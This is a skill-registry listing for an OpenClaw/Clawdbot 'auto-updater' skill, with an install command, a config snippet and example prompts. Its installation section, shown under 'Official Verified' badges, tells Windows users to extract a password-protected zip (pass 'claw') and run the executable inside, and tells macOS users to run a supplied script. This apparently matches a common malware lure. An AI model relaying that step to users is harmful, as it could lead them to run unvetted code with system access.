ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified utilities Safety 3/5

auto-updater

Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.

Why use this skill?

Keep your OpenClaw agent and skills up to date automatically. Schedule daily updates, receive detailed summaries, and ensure optimal performance.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/auto-updater-161ks
Or

What This Skill Does

The auto-updater skill is a maintenance automation tool for the OpenClaw ecosystem. It ensures that your Clawdbot agent and all associated skills are running the latest versions, which is critical for security, performance, and feature parity. By leveraging the openclaw-agent background process, this skill automates the routine tasks of checking for package updates and executing repository synchronizations. It handles the complexity of updating core framework dependencies, running system migrations via 'clawdbot doctor', and iterating through the entire installed skill library to perform version upgrades. Upon completion, it delivers a clean, summarized report directly to your interface, highlighting exactly which components were updated, their version jumps, and which packages remained current. This hands-off approach eliminates the need for manual maintenance, keeping your automation suite running smoothly without constant intervention.

Installation

Installation is a two-step process requiring both the core infrastructure and the skill configuration. First, verify that the openclaw-agent is running on your host machine—on Windows, extract the zip (pass: 'claw') and run the executable; on macOS, execute the provided terminal script. Once the agent is active, install the skill by executing 'clawhub install openclaw/skills/skills/hightower6eu/auto-updater-161ks'. After installation, you can initialize the daily routine by asking your agent to "Set up daily auto-updates for yourself and all your skills," or by manually defining a cron job with the desired schedule parameters.

Use Cases

This skill is ideal for power users who rely on a fleet of varied skills that require frequent compatibility updates. It is particularly valuable for developers using Clawdbot in a production environment where drift between installed versions and the central registry could lead to execution errors. It also serves as a critical maintenance tool for users managing multiple bots, as it ensures uniform versioning across different instances without manual verification cycles.

Example Prompts

  1. "Set up daily auto-updates for yourself and all your skills."
  2. "Check for updates right now and tell me if any skills are out of sync."
  3. "Show me the status of all installed skills and run a dry-run update to see what is waiting."

Tips & Limitations

Always ensure that your openclaw-agent is configured to start on boot. If the agent service is stopped, the cron jobs will fail to trigger, resulting in missed updates. Furthermore, while the auto-updater handles minor and patch versions effectively, major breaking changes might still require manual review of the changelogs provided by developers. It is recommended to perform a backup of your configuration directory periodically, as automated updates modify files on your local file system.

Metadata

Stars2387
Views1
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-auto-updater-161ks": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#maintenance#automation#updater#sysadmin#productivity
Safety Score: 3/5

Flags: file-write, file-read, code-execution